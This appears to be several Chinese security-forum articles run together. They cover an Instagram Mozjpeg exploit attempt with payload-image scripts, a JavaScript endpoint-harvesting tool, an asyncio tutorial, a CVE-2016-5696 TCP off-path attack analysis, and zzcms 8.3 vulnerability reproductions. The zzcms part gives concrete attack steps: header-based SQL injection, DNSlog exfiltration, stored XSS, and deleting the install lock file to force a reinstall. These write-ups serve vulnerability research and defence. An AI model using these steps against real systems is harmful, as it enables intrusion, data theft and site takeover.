我们遇到了总线错误（也称为SIGBUS，通常为信号10），该错误在进程尝试访问CPU无法物理寻址的内存时发生。
换句话说，程序尝试访问的内存不是有效的内存地址，因为它包含来自我们映像的数据，该数据替换了实函数指针并导致崩溃！
## 把所有东西放在一起
我们有一个可控的函数调用。 编写一个可靠的漏洞利用所缺少的就是将可执行内存重定向到一个方便的堆栈块构建ROP。
现在我们需要将所有内容放在一起:
> 1. 构造大小畸形的图像
> 2. 触发错误
> 3. 生成我们控制的有效payload的副本
> 4. 将执行跳转到受我们控制的地址。
>
我们需要使用受控数据来生成损坏的JPEG。 因此，我们的下一步是确切确定Mozjpeg平台支持哪些图像格式。 我们可以从下面的代码中找出答案。
`out_color_space`表示根据图像格式确定的每个像素的位数。
switch (cinfo->out_color_space) {
case JCS_GRAYSCALE:
cinfo->out_color_components = 1;
Break;
case JCS_RGB:
case JCS_EXT_RGB:
case JCS_EXT_RGBX:
case JCS_EXT_BGR:
case JCS_EXT_BGRX:
case JCS_EXT_XBGR:
case JCS_EXT_XRGB:
case JCS_EXT_RGBA:
case JCS_EXT_BGRA:
case JCS_EXT_ABGR:
case JCS_EXT_ARGB:
cinfo->out_color_components = rgb_pixelsize[cinfo->out_color_space];
Break;
case JCS_YCbCr:
case JCS_RGB565:
cinfo->out_color_components = 3;
break;
case JCS_CMYK:
case JCS_YCCK:
cinfo->out_color_components = 4;
break;
default:
cinfo->out_color_components = cinfo->num_components;
Break;
我们使用了一个称为[PIL](https://imageio.readthedocs.io/en/stable/format_jpeg-pil.html)的简单Python库来构造RGB BMP文件。 我们选择了我们熟悉的RGB格式，并在其中填充了“ AAA”作为有效载荷。
该文件是我们用来创建恶意压缩JPEG的基本图像格式。
from PIL import Image
img = Image.new('RGB', (100, 100))
pixels = img.load()
for i in range(img.size[0]):
for j in range(img.size[1]):
pixels[i,j] = (0x41, 0x41, 0x41)
img.save('rgb100.bmp')
然后，我们使用Mozjpeg项目中的cjpeg工具将bmp文件压缩为JPEG文件。
./cjpeg -rgb -quality 100 -fastcrush -notrellis -notrellis-dc -noovershoot -outfile rgb100.jpg rgb100.bmp
接下来，我们测试了压缩后的输出文件以验证我们的假设。 我们知道RGB格式是每个像素3个字节。
我们要验证代码是否正确设置了`cinfo-> out_color_space = 0x2(JCS_RGB)`。
但是，当我们检查控制的分配时，我们看到作为整数溢出一部分的`height`和`width`参数仍然乘以值为4的`out_color_components`，纵然我们从RGB格式开始，每行使用`3x8-bit`像素。
看来Mozjpeg更倾向于将我们的图像转换为每个像素`4x8-bit`的格式。
然后，我们转向了Mozjpeg平台支持的`4x8-bit`像素格式，CMYK格式满足了标准。我们使用CMYK格式作为基本图像，以便完全控制所有4个字节。我们在图像中填充了“AAAA”作为有效载荷。
我们将其压缩为JPEG格式，并添加了可以触发程序崩溃的图片尺寸。 令我们振奋的是，我们发生了以下崩溃！
Thread 93 "IgExecutor #19" received signal SIGBUS, Bus error.
0xff414141ff414141 in ?? ()
但是，即使我们在每个像素图像上构建了`4x8-bit`的图像，我们也还是得到了一个奇怪的`0xFF`字节在我们可控地址中，然而其却并非有效载荷的一部分。
这个`0xFF`是什么意思？ 透明度！
支持透明的位图文件格式包括GIF，PNG，BMP，TIFF和JPEG 2000（通过颜色透明或Alpha通道）。
基于位图的图像在技术上是通过图像的宽度和高度（以像素为单位）以及每个像素的位数来表征的。
因此，我们决定使用PIL库通过受控的alpha通道（0x61）构造RGBA BMP格式文件。
from PIL import Image
img = Image.new('RGBA', (100, 100))
pixels = img.load()
for i in range(img.size[0]):
for j in range(img.size[1]):
pixels[i,j] = (0x41, 0x41, 0x41,0x61)
img.save('rgba100.bmp')
令人惊讶的是，我们得到的结果与使用CMYK构造的恶意JPEG触发崩溃的结果相同。
即便我们使用了RGBA格式作为压缩JPEG的基础，我们仍然在可控的地址中看到了`0xFF`，并且文件中的Alpha通道的值为（0x61）。 这怎么发生的？
让我们回到代码中，了解造成这种奇怪行为的原因。
最终我们在下面的这段小代码中找到了答案：
我们发现Instagram在`jpeg_read_header`完成之后并且在调用`jpeg_start_decompress`之前添加了自己的`const`值。
我们使用了第一个测试中的RGB格式，并且看到Mozjpeg确实正确设置了`cinfo-> out_color_space = 0x2(JCS_RGB)`。
但是，从Instagram的代码(图3)中，我们可以看到此值被表示为`(JCS_EXT_RGBA)`格式的const值`0xc`覆盖了。
这也解释了为什么即使我们使用每个像素`3x8-bit`的RGB对象，也得到了奇怪的`0xFF` alpha通道。
深入研究代码后，我们看到alpha通道（0xFF）的值被硬编码为const值。 当Instagram将`cinfo-> out_color_space =
0xc`设置为指向`(JCS_EXT_RGBA)`格式时，代码从输入的基本文件中复制3个字节，然后复制的第4个字节始终是硬编码的alpha通道值。
#ifdef RGB_ALPHA
outptr[RGB_ALPHA] = 0xFF;
#endif
现在我们将所有内容放在一起，得出的结论是，无论将哪种图像格式用作压缩JPEG的基础，Instagram始终会将输出文件转换为RGBA格式文件。
始终在开头添加`0xff`这一事实意味着我们可以在大端环境中实现我们的目标。
小端系统将单词的最低有效字节存储在最小的存储地址中。 因为我们使用的是低位优先系统，所以Alpha通道值始终被改写为受控地址的最高有效字节。
当我们尝试在用户模式下利用该错误，并且（0xFF）开头的地址值属于内核地址空间时，它会直接挫败我们的计划。
## 可以利用吗
我们失去了快速取得胜利的可能。 但可以从中学到的一课是，现实生活不是CTF游戏，有时开发人员设定的一个关键const值可能会从开发角度破坏一切。
让我们回想一下Mozilla基金会主要网站上有关Mozjpeg的内容：
**Mozjpeg的唯一目的是减少网络上提供的JPEG文件的大小。**
据我们所知，每上传一张图片，Instagram就会增加25%的内存使用量!大约每天1亿美元!
至此，Facebook已经修补了该漏洞，因此即使我们还没有完全解决它，我们也停止了利用开发工作。
我们仍然只有3个字节的覆盖，从理论上讲，我们可以投入更多的时间来找到更多有用的原语，以帮助我们利用此错误。但是，我们认为我们已经做了足够的工作，并且已经宣传了我们想要传达的重要观点。 | 社区文章 |
## **谈js静态文件在漏洞挖掘中的利用**
### **前期之域名收集**
[wydomain猪猪侠](https://github.com/ring04h/wydomain)、subsomain、sublist3r、subdomainsBurte、DiscoverSubdomain、layer子域名挖掘机,在线dns解析历史记录查找子域名[securitytrails.com](https://securitytrails.com/list/apex_domain/)
、[virustotal.com](https://www.virustotal.com/gui/domain/),方法比较多，重点在于url的收集和js挖掘。
#### **1.URL 收集**
有时候我们可以在 javascript 中发现一些未公开的敏感接口,所以我们可以多看看 javascript 文件,但是 javascript
文件可能会有很多，有没有方法可以自动收集呢？
有。
首当其冲的当然是我们的 BP：
在 BP 专业版 中的：
Target => Site Map => 找到要提取 script 的地址右键 => Engagement tools => Find scripts
我们就可以在 Find scripts 前主动去爬一下网站，增加一些内容，让结果多些。
如果点 Export Script，他会把所有脚本内容都写入一个文件里，有时我们可能只需要 script 的 url链接，此时我们可以全选，然后
上面那个是提取 URL，下面那个应该是提取 Response 中的 src/href
#### **2.提取节点**
这时候我们就有很多 script 的 URL 了，但是一个一个分析太麻烦，有没有什么可以自动帮我们找到接口呢？
也有，这里有个好用的工具，可以提取 javascript 中的节点：
[LinkFinder](https://github.com/GerbenJavado/LinkFinder)
基本用法的话，类似这样：
python linkfinder.py -i
[https://https://max.book118.com//statics/js2/book118ajax2.js](https://https//max.book118.com//statics/js2/book118ajax2.js)
但是好像不能给一批 URL，不过也可以自己写个脚本调用一下。
#### **自造轮子**
以上两点主要做了两件事一是通过bp提取一个站点的url包含js,然后[LinkFinder](https://github.com/GerbenJavado/LinkFinder)提取js中的隐藏的url接口，而对于js的挖掘也在于此应为往往会隐藏着站点所对应的调用到的各种接口。因为这些接口可能往往会存在着未授权接口而导致的信息泄漏，引发一系列惨案。
另外js中也有可能会包含一些老域名、测试接口、测试域名等，这些对应我们发掘网站漏洞，又进一步扩大了测试面。
针对以上的考虑，于是就有了jsspider这个工具。先简单介绍一下这个工具的功能，正如以上所想的那样，这个工具主要实现的有以下几点：
1）动态加载挖掘网站域名所涉及的url、包含域名，动态加载挖掘的优点在于，因为考虑到许多网站用到了异步加载页面的技术若纯粹的静态爬取是获取不到任何内容的，以保证尽可能的爬取。如此对应上bp的url收集所做的事。
2）对爬取收集到的url包含js,通过正则进一步提取隐藏的接口、域名等信息
3）深度设置，若还需要对js内的url进一步发掘，可通过设置爬取深度来完成，如深度1：爬取当前网站下的所有url,并进行发掘爬取js中的接口；深度0：爬取当前url所隐藏的接口等信息，主要针对指定js的url,如：
python3 main.py -u https://dsfs.oppo.com/oppo/script/common-99171afa41.js -d 0
深度2：对改网站爬取到的url再进一步爬取其url和挖掘其url页面中js隐藏的接口信息。如第一次爬取到url:<http://a.com/test.html>,
程序继续爬取test.html中的url和js链接并挖掘该js信息，如果为域名a.com则程序继续爬取a.com中的url和js链接并挖掘该js信息,以此类推但考虑到性能和速度问题一般默认甚至1即可。
程序涉及到的框架及模块：
js挖掘所用到的正则：
regex_str =r"""
(?:"|') # Start newline delimiter
(
((?:[a-zA-Z]{1,10}://|//) # Match a scheme [a-Z]*1-10 or //
[^"'/]{1,}\. # Match a domainname (any character + dot)
[a-zA-Z]{2,}[^"']{0,}) # The domainextension and/or path
|
((?:/|\.\./|\./) # Start with /,../,./
[^"'><,;| *()(%%$^/\\\[\]] # Next character can't be...
[^"'><,;|()]{1,}) # Rest of the characters can't be
|
([a-zA-Z0-9_\-/]{1,}/ # Relative endpoint with /
[a-zA-Z0-9_\-/]{1,} # Resource name
\.(?:[a-zA-Z]{1,4}|action) # Rest + extension (length 1-4 or action)
(?:[\?|/][^"|']{0,}|)) # ? mark with parameters
|
([a-zA-Z0-9_\-]{1,} # filename
\.(?:php|asp|aspx|jsp|json|
action|html|js|txt|xml) # . + extension
(?:\?[^"|']{0,}|)) # ? mark with parameters
)
(?:"|') # End newline delimiter
"""
通过该正则进行js接口及域名的提取，该正则主要提取js中包含以下3类特征的url
批量爬取
例如批量提取域名<https://www.opposhop.cn>
python3 main.py -u https://www.opposhop.cn -d 1
程序跑完提取到200+多个url链接地址包含js,如下：
匹配到符合规则提取到的js接口信息：
若有更好的想法将待续更新，同时脚本的优化和改进也将更新到[github]中……..
【GitHub】<https://github.com/Qclover/jsspider/> | 社区文章 |
一、asyncio
下面通过举例来对比同步代码和异步代码编写方面的差异，其次看下两者性能上的差距，我们使用sleep(1)模拟耗时1秒的io操作。
同步代码：
import time def hello():
time.sleep(1) def run(): for i in range(5):
hello() print('Hello World:%s' % time.time()) # 任何伟大的代码都是从Hello World 开始的！ if __name__ == '__main__':
run()
输出：（间隔差不多是1s）
Hello World:1527595175.4728756 Hello World:1527595176.473001 Hello
World:1527595177.473494 Hello World:1527595178.4739306 Hello
World:1527595179.474482
异步代码：
import time import asyncio # 定义异步函数 async def hello():
asyncio.sleep(1) print('Hello World:%s' % time.time()) def run(): for i in range(5):
loop.run_until_complete(hello())
loop = asyncio.get_event_loop() if __name__ =='__main__':
run()
输出：
Hello World:1527595104.8338501 Hello World:1527595104.8338501 Hello
World:1527595104.8338501 Hello World:1527595104.8338501 Hello
World:1527595104.8338501
async def
用来定义异步函数，其内部有异步操作。每个线程有一个事件循环，主线程调用asyncio.get_event_loop()时会创建事件循环，你需要把异步的任务丢给这个循环的run_until_complete()方法，事件循环会安排协同程序的执行。
二、aiohttp
如果需要并发http请求怎么办呢，通常是用requests，但requests是同步的库，如果想异步的话需要引入aiohttp。这里引入一个类，from
aiohttp import
ClientSession，首先要建立一个session对象，然后用session对象去打开网页。session可以进行多项操作，比如post, get,
put, head等。
基本用法：
async with ClientSession() as session:
async with session.get(url) as response:
aiohttp异步实现的例子：
import asyncio from aiohttp import ClientSession
tasks = []
url = "https://www.baidu.com/{}" async def hello(url): async with ClientSession() as session:
async with session.get(url) as response:
response = await response.read() print(response) if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(hello(url))
首先async def 关键字定义了这是个异步函数，await
关键字加在需要等待的操作前面，response.read()等待request响应，是个耗IO操作。然后使用ClientSession类发起http请求。
多链接异步访问
如果我们需要请求多个URL该怎么办呢，同步的做法访问多个URL只需要加个for循环就可以了。但异步的实现方式并没那么容易，在之前的基础上需要将hello()包装在asyncio的Future对象中，然后将Future对象列表作为任务传递给事件循环。
import time import asyncio from aiohttp import ClientSession
tasks = []
url = "https://www.baidu.com/{}" async def hello(url): async with ClientSession() as session:
async with session.get(url) as response:
response = await response.read() # print(response) print('Hello World:%s' % time.time()) def run(): for i in range(5):
task = asyncio.ensure_future(hello(url.format(i)))
tasks.append(task) if __name__ == '__main__':
loop = asyncio.get_event_loop()
run()
loop.run_until_complete(asyncio.wait(tasks))
输出：
Hello World:1527754874.8915546 Hello World:1527754874.899039 Hello
World:1527754874.90004 Hello World:1527754874.9095392 Hello
World:1527754874.9190395
收集http响应
好了，上面介绍了访问不同链接的异步实现方式，但是我们只是发出了请求，如果要把响应一一收集到一个列表中，最后保存到本地或者打印出来要怎么实现呢，可通过asyncio.gather(*tasks)将响应全部收集起来，具体通过下面实例来演示。
import time import asyncio from aiohttp import ClientSession
tasks = []
url = "https://www.baidu.com/{}" async def hello(url):
async with ClientSession() as session:
async with session.get(url) as response: # print(response) print('Hello World:%s' % time.time()) return await response.read() def run(): for i in range(5):
task = asyncio.ensure_future(hello(url.format(i)))
tasks.append(task)
result = loop.run_until_complete(asyncio.gather(*tasks)) print(result) if __name__ == '__main__':
loop = asyncio.get_event_loop()
run()
输出：
Hello World:1527765369.0785167 Hello World:1527765369.0845182 Hello
World:1527765369.0910277 Hello World:1527765369.0920424 Hello
World:1527765369.097017 [b'<!DOCTYPE html>\r\n\r\n\r\n\r\n......
异常解决
假如你的并发达到1000个，程序会报错：ValueError: too many file descriptors in
select()。这个报错的原因是因为 Python 调取的 select
对打开的文件字符有最大长度限制。这里我们有两种方法解决这个问题：1.我们可以需要限制并发数量。一次不要塞那么多任务，或者限制最大并发数量。2.我们可以使用回调的方式。这里个人推荐限制并发数的方法，设置并发数为500或者600，处理速度更快。 | 社区文章 |
# 360MeshFire Team：CVE-2016-5696 TCP旁路攻击分析与重现
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01 漏洞背景**
8月10-12日的USENIX安全大会，加州大学河滨分校与美国陆军研究实验室的6名研究人员揭露了关于RFC 5961的安全漏洞。
为防止 “blind in-window”攻击， RFC5961引入Challenge ACK机制，但Linux
内核在实现该RFC文档时引入了漏洞，攻击者可以利用该漏洞通过旁路攻击准确推断TCP连接的端口号、SEQ号和ACK号，从而实现TCP
Reset攻击和数据注入攻击。
为了更好的了解CVE-2016-5696，我想我们有必要回溯一下该漏洞的历史缘由。
在RFC5961(August 2010)出现之前，是TCP的荒蛮时代。blind in-window
attacks一直是针对TCP协议的主要攻击手段。TCP协议本身在设计时候并没有充分考虑其安全性，TCP的安全性依赖于其连接的不可确定性，能否攻击成功很大程度上取决于攻击者能否预测出TCP序列号和端口号，一旦伪造数据包的序列号落到了窗口上，攻击者就可以去注入恶意链接或者直接重置连接。序列号是一个32位随机数，有40多亿种可能，端口号则有65535种可能，组合起来这种设计能够在一定范围内防御TCP的拒绝服务和注入攻击。
在RFC5961出现之前，Linux的tcp协议栈是这样做的：
当一条已经正常建立的链接收到一个syn包后，会这样做：
**if syn包中的seq在合法窗口中，**
******接收方reset连接**
**else**
******接收方发送ack包**
**
**
当一条已经正常建立的链接收到一个RST包后，会这样做：
**if RST包中的seq在合法窗口中**
**接收方reset连接**
**else**
**接收方发送ack包**
**
**
如果想防止数据注入，会这样做：
1.seq 在合法范围内
2.ack number必须有效范围内：[SND.UNA-(231-1）,SND.NXT]
SND表示发送方，UNA表示已发送未确认收到的seq NXT表示下一个要发送包的seq
以上这样的逻辑会发现一个很明显的问题，就是我作为一个旁路攻击者，我盲目的猜测一个源地址、一个源端口和一个seq number，
把这个包发给服务器，如果这个链接在服务器上刚好存在，且seq number也正好在合法窗口内的话，那该条连接会被服务器端重置，拒绝攻击成功；
但是如果我没猜中呢？没猜中呢？没猜中呢？
好吧，没猜中那我就继续往后猜呗，我把地址0-255，端口1-65535，seq从0-4G发一遍，我一台机子不够用，我找一百台来发攻击包。这样一来，肯定会有很多条连接中招，然后被reset掉。其实这也就是所谓的blind
in-window attacks，合法窗口盲打。
但是，RFC5961出现了。RFC5961的出现，像黑暗中的一道光明，照亮了整个TCP协议栈，也照亮了Linux系统的大好前程。
RFC5961对TCP协议栈的处理提出如下建议：
当一条已经正常建立的链接收到一个syn包后，应该这样做：
不对seq做校验，直接回复一个challenge ack给源端
if收到源端发来的reset包
接收方reset连接、
else
接收方丢弃该syn包
如果源端的确丢失了连接信息，要重新初使化一个新的，那么在收到挑战包后，原端会发送RST包，确认当前连接需要关闭.
当一条已经正常建立的链接收到一个RST包后，应该这样做：
if seq == 期望接收值
接收方断开连接
elif seq 在有效窗口
接收方发送挑战包
else
接收方丢弃该包，不理会
如果想防止假数据注入，应该这样做：
接收端收到ACK包，确认合法性的条件：
1.seq 在合法范围内
2.if ack number in【SND.UNA-MAX.SND.WN, SND.NXT】
(注：MAX.SND.WND表示接收方能看到的发送方的最大窗口范围)
then
确认合法数据包
elif ack number在剩下的范围内：[SND.UNA −(231 − 1), SND.UNA − MAX.SND.W ND)
then
需要发送挑战包
以上是RFC5961对TCP协议栈如何修改所提出的建议。可以明显的看出，当增加了源端确认这样的流程之后，
syn包的旁路攻击已经变得不可能，因为你无法收到challeng
ack。你只有完全蒙对地址+端口+seq值才能reset掉一条连接，这样大大增加了成本，blind in-window
attacks变得非常困难。在防止数据注入方面，RFC5961之前的机制中ACK的范围比较大，相对容易的可以命中有效范围。RFC5961所建议机制虽然不能完全消除，但是大大降低了包的成功注入，提升攻击者成本，本身也是防御的一种。
到这里，我们应该觉得RFC5961应该提出了很多不错的建议，可为什么旁路攻击又变得可能了呢？
在RFC5961中给出了一段关于挑战包节流机制的建议，以防止过多的挑战包影响系统性能，也正是这个建议，导致linux
kernel在严格遵守协议做实现后，引发这个漏洞：
包的检查严格了，会导致触发较多挑战包。为了减少CPU和带宽损耗，REF5961建议引入挑战包的节流机制：限制单位时间间隔中，挑战包的个数。
在linux kernel 3.6中，缺省设置是每秒100个，管理员可以修改。
REC5961中建议：挑战包的节流机制应该保守些，
linux kernel 3.6中，挑战包的计数器是一个被所有TCP连接共用的全局变量sysctl_tcp_challenge_ack_limit。
为什么windows, freebsd, MAC OS X, 没有这个问题呢？
因为这些系统都没有严格遵守RFC5961的要求，要么，没有完全实现挑战机制，要么，没有实现挑战包的节流机制。
BINGO, 好孩子linux，独中。
**
**
**0x02 攻击原理**
为防止这种 “blind in-window attacks”，
在RFC5961中引入了挑战包机制，REF5961本身作为改进建议，协议的设计没有问题。该漏洞的根源在于RFC5961引入的Challenge
ACK挑战包节流机制的速率限制，在linux
kernel实现时出现了漏洞。由于所有连接共用一个计数器，那么通过伪造包和真实通信包去挑战，根据真实通信返回的挑战包的数量，通过旁路攻击的方式来推断探测包的命中与否，一旦攻击包命中则可以逐步准确的推断出连接的端口号、SEQ号和ACK号，从而可以实现Reset攻击和数据注入攻击。这就是下面的攻击方法
**攻击方法:**
要想Reset攻击，需要知道的条件：
1、两IP是否有连接
2、seq 有效范围
要想注入攻击 ，需要知道的条件：
1、两IP间是否有连接
2、seq number
3、ACK number
下面以注入攻击为例，进行分析：
client与server存在TCP连接，
1创建真实连接，到server端（因为server端口大多公开，不需要猜测）
2伪造1个包发到server端，目的是为了触发对端的挑战机制。
3再使用真实连接，故意发100个包，触发挑战条件，如果收到100个，说明步骤2发送的包未触发挑战条件，如果收到99个，说明步骤2发送的包，触发了挑战条件，可以进行进一步推断。
详细攻击步骤：
1.推断两个IP间是否存在连接
假设两端IP固定，服务端的端口公开，只需要确定源端口，就能确定一个连接。
1.1伪造一个syn-ack 包，伪造client端IP，源端口号为猜测值
1.2 使用真实连接，发送100个设计过的RST包(seq落在有效范围，且不等于正确值)，如果收到99个包，说明基于该端口的TCP连接存在。
1.3 采用折半算法，收紧范围，最终确定准确的端口号
2 推断seq number
2.1伪造一个RST包，seq为猜测值
2.2 使用真实连接，发送100个设计过的RST包(seq落在有效范围，且不等于正确值)，如果收到99个包，说明seq num在范围内
2.3 采用折半算法，收紧范围，最终确定准确的seq值
3 推断ack number
原理：推断ACK值，可以先推断出挑战范围的左边界：SND.UNA −(231 − 1)， 然后再 +（231 – 1），就可以得到准确的ACK值了。
3.1确定左边界的范围，尝试0， 1G，2G， 3G四个节点，确定左边界落在哪个象限中。
具体实施：
3.1.1 发送伪造ACK包，ack分别为0、1G、2G、3G，seq为有效范围内的值
3.1.2 发送100个设计过的RST包, 如果收到99个包，说明ack在挑战范围
3.13 通过四个节点的命中挑战的情况，就可以判断出挑战范围的左边界。
3.2 再使用折半逼近的方法，确定左边界的精确值。
具体实施：
3.2.1 伪造一个ACK包，ack为猜测值， seq为有效范围内的值，
3.2.2 发送100个设计过的RST包，如果收到99个包，说明 ack在挑战范围内; 如果收到100个包，则说明ack在invalid 范围内。
3.2.3 根据判断结果，逐渐逼近至挑战范围的左边界。
3.3 左边界+（231 – 1） = ack
**攻击示意图：**
**现实挑战：**
**时间同步**
由于计数器是按秒复位，上一秒的计数器，在进入下一秒后会复位。
所以攻击端，必须与被攻击机器的时间尽可能保持同步，才能使攻击成立。
**RST限制**
通常 firewall都有限制RST的频率，防止攻击，那么就不能使用RST做尝试推断了。
可以使用ACK包进行挑战，ACK挑战条件：
1、seq在有效范围
2、ACK在挑战范围，
ACK的挑战值很容易确定：
四个节点：0，1G，2G，3G，必定有1到2个命中范围，在已知一个seq有效值的情况下，可以推断出ACK挑战值。
**包丢失**
包的丢失，会影响推断：
引入多次确认机制。
**窗口变化**
tcp 窗口，不是固定，是变化的，一定程序上增加了推断难度。
**
**
**0x03 攻击效果**
有一组公开的数据，
1.断开连接攻击：
2.数据注入攻击
可以看到成功率非常高，时间基本控制在1分钟左右。
**
**
**0x04 POC**
截止到8月30日，网络上已经出现两个POC：
rover: 第三方，只是开放了推断端口号部分，python实现。
mountain-goat: 官方曝出，只开放到推断seq 范围，C实现 。
8月底，360MeshFire网络安全团队完整实现了端口号、seq和ack的推断，并完成了reset攻击和inject数据攻击。
360MeshFire Team POC演示视频： [https://yunpan.cn/cMW9EbkGBscuz
](https://yunpan.cn/cMW9EbkGBscuz)（提取码：b46b）
附演示视频截图：
POC结论：
1.针对任意TCP连接，精准的猜测连接是否存在、源端口、seq、ack是可行的，成功率极高。
2.只要服务端的Linux kernel为漏洞影响版本，可触发挑战包机制，就会受到该漏洞的影响。
3.一旦推测出四元组信息，seq，ack的情况下，就可以实现双向的数据劫持注入和定向TCP连接的拒绝服务：包括HTTP中注入钓鱼代码，伪造客户端发送写命令（TELNET，HTTP等）
4.如果在网络带宽足够、程序实现优化（C实现）等情况下，可以快速精准地推断出以上元素数据，达到paper所述的攻击成功率。
5.由于安卓4.4版本以上均存在该问题，且大量APP中建立的是与服务器的长连接，导致可被利用的场景，可能会有更多的变数。
**
**
**0x05 影响范围**
Linux Kernel3.6 以上版本, 包括目前最高4.6版本，都受该漏洞影响。
**安卓**
release version , name ,kernel version
4.4 Kit Kat |3.10
5.x Lollipop |3.16.1
6.0 Marshmallow |3.18.10
**Centos 7**
release version ,kernel version
7.0 3.10
7.1 3.10
7.2 3.10
**Utuntu**
release version ,kernel version
13.04 Raring Ringtail 3.8
13.10 Saucy Salamander 3.11
14.04 Trusty Tahr 3.13
14.10 Utopic Unicorn 3.16
15.04 Vivid Vervet 3.19
15.10 Wily Werewolf 4.2
16.04 Xenial Xerus 4.4
16.10 Yakkety Yak 4.6
**Redhat Enterprise release**
release version ,kernel version
RHEL 7.2 3.10.0-327
RHEL 7.1 3.10.0-229
RHEL 7.0 GA 3.10.0-123
RHEL 7.0 Beta 3.10.0-54.0.1
**0x06 修复方案**
1.升级Linux内核到4.7版本以上
2.修改挑战包计数器值，步骤如下：
1）修改挑战包的节流设置/etc/sysctl.conf:
net.ipv4.tcp_challenge_ack_limit = 9999999
该值取100-300间随机数，可以过滤那些只会使用工具的黑客，增加一定难度，同时对性能不会产生什么影响。
该值取一个大值，将直接解决此问题，但因此导致的性能、带宽损耗需要评估。
2 ）sysctl -p （激活）
3\. 对业务来讲，使用加密传输，可以有效防止数据的劫持和注入。
协议栈解决漏洞思路：
不采用全局挑战包计数器的实现方案，每个连接维护一个挑战包计数器。
linux 4.0部分引入了这个思想，但只对SYN包的挑战进行了单独计算，所以面对攻击无效。
**0x07 参考资料**
[sec16_TCP_pure_offpath.pdf](http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf)
数据注入[演示视频](http://www.tudou.com/programs/view/UBS_Oel6FUQ/?resourceId=341181215_06_02_99)
[14亿Android设备受Linux TCP漏洞的影响](http://www.freebuf.com/news/112245.html)
[How to mitigate Linux “Off-path” TCP exploits](https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696/)
知乎[tombkeeper与曹跃关于geekpwn上任意tcp远程支持的讨论](https://www.zhihu.com/question/46277448) | 社区文章 |
# zzcms 8.3 CVE漏洞分析
### 前言:
zzcms之前在8.2版本是就爆出过不少问题，本文对zzcms8.3版本已爆出过的CVE漏洞进行分析复现，这套CMS也很适合刚入坑的代码审计小伙伴们练习。跟着师傅们学习一下，欢迎与师傅们的交流讨论
* **SQL注入**
### CVE-2018-17136
**问题文件： /zzcms8.3/user/check.php**
**漏洞分析**
这是一个在8.2版本就存在的SQL注入漏洞，在check.php的19行，存在问题的原因是因为在SQL语句中使用了getip方法获取用户IP。
跟进getip方法，在inc/function.php 的100行
可以看到这里并没有对IP进行判断或过滤，可以在http头添加client-ip对IP进行伪造，导致了SQL注入
**漏洞复现**
该漏洞存在于所有包含了check.php的页面，由于没有直接回显，可以通过盲注或利用DNSlog带出。而cve里师傅提供了一个很好的利用点在/user/manage.php，该页面包含了check.php，并在表单中回显数据。利用SQL语句中UPDATE更新数据库中的值，例如`address=(select
database())`，然后直接在表单中回显出来。
### CVE-2018-14961
**问题文件： /zzcms8.3/dl/dl_sendmail.php**
**漏洞分析**
在dl_sendmail.php的42到45行，将POST方法接受到的SQL内容拼接另一段SQL语句然后执行。本来进行了全局过滤，但是这里使用了stripfxg方法处理收到的SQL内容。这个方法的使用导致了许多漏洞的产生。(这套CMS的全局过滤关键代码在/inc/stopsqlin.php，将POST,GET,COOKIE传进来的数据添加反斜杠进行转义及将特殊字符转换为HTML实体)
strpfxg方法将传来的字符串中添加的反斜杠去除，如果参数`$htmlspecialchars_decode`为true会把html实体符号解码，这就将原本全句过滤的语句还原为正常数据，如果获取的数据采用了这个方法后直接带入查询语句中导致漏洞的产生。（这套cms产生的许多漏洞都是由于stripfxg方法使用不当导致的）
这导致在最后拼接后，SQL语句相当于没有进行任何过滤。
**漏洞复现**
思路很清晰，直接POSTSQL语句
### CVE-2018-1000653
**问题文件： /zzcms8.3/zt/top.php**
**漏洞分析**
在top.php的3到6行，使用了`$_SERVER['HTTP_HOST']`获取域名，并直接拼接到SQL语句，而\$_SERVER是不在cms的全局过滤范围里的，所以如果可以控制host就可以注入。CVE里师傅提供了一个点，就是在Nginx环境下`$_SERVER['HTTP_HOST']`是可以控制的，如果在Nginx环境好办了，只需找到一个包含top.php的页面就可以进行注入。(实际自己在复现的过程中，apache也是可以的)
**漏洞复现**
在/zt/job.php包含了top.php,可以在job.php进行注入。
由于没有回显，采用盲注或DNSlog带出数据。简单说一下DNSlog,对于SQL注入,一些注入都是无回显的，我们可以通过布尔或者时间盲注获取内容，但是整个过程效率低，需要发送很多的请求进行判断，容易触发网站的防御机制，而Dnslog盲注可以减少发送的请求，直接回显数据实现注入。DNSlog在MySQL里利用的是load_file()函数，load_file()函数除了可以读取本地的文件还可以用来发送dns解析请求，使用load_file需要有FILE权限。使用时尽量使用Hex编码，可以避免一些特殊符号的产生，这些特殊符号拼接在域名里是无法做dns查询的，因为域名是有一定的规范，有些特殊符号是不能带入的。
两个好用的免费dnslog平台：<http://ceye.io/> <http://dnsbin.zhack.ca>
* **储存XSS**
### CVE-2018-14962
**问题文件： /zzcms8.3/zt/show.php**
**漏洞分析**
这又是一个stripfxg使用不当造成的漏洞，在/zt/show.php中对变量$content
直接进行输出，并使用了stripfxg方法，之前说到过，这个方法能将转义过滤后的数据还原，这样的话又是相当于没有过滤，只需找到变量输入点即可造成xss漏洞。
而在/user/manage.php的58到60行，这里有更新表数据的操作，这里将$content写进数据库中
**漏洞复现**
在/user/manage.php点击源码写入paylaod
然后访问`http://www.zzcms3.test/zt/show.php?id=1`或`http://www.zzcms3.test/zt/companyshow.php?id=1`就可以触发漏洞
* **任意文件删除**
### CVE-2018-13056 CVE-2018-16344
关于任意文件删除漏洞，在这套CMS里很经典，爆出过很过多，思路大都相同。文件删除漏洞可以配合之前爆出过的安装漏洞(CVE-2018-8966)直接getshell。
**漏洞分析**
首先看 **CVE-2018-13056**
**问题文件： /zzcms8.3/user/del.php**
漏洞位置在del.php的55到69行，思路比较清晰，首先需要传入tablename令其值为zzcms_main进入分支语句，然后执行SQL语句查询zzcms_main的img,flv,editor的值，之后判断img是否等于/image/nopic.gif，如果不是则添加“../”，如果文件存在则删除。所以我们仅需要在zzcms_main存入恶意img的值就可以删除任意文件。
而在/user/zssave.php中可以添加
**CVE-2018-16344** 是差不多相同的思路，但是这里上传视频功能需要管理员去开启才可以。
实际上这样的漏洞还存在于这套CMS的很多地方，比如user/manage.php等
**漏洞复现**
在/user/zssave.php上传图片，点击发布信息抓包，修改img=/install/insall.lock
然后访问/user/del.php
删除成功显示重装了
* **CSRF**
### CVE-2018-14963
**问题文件： /zzcms8.3/admin/adminadd.php**
**漏洞分析**
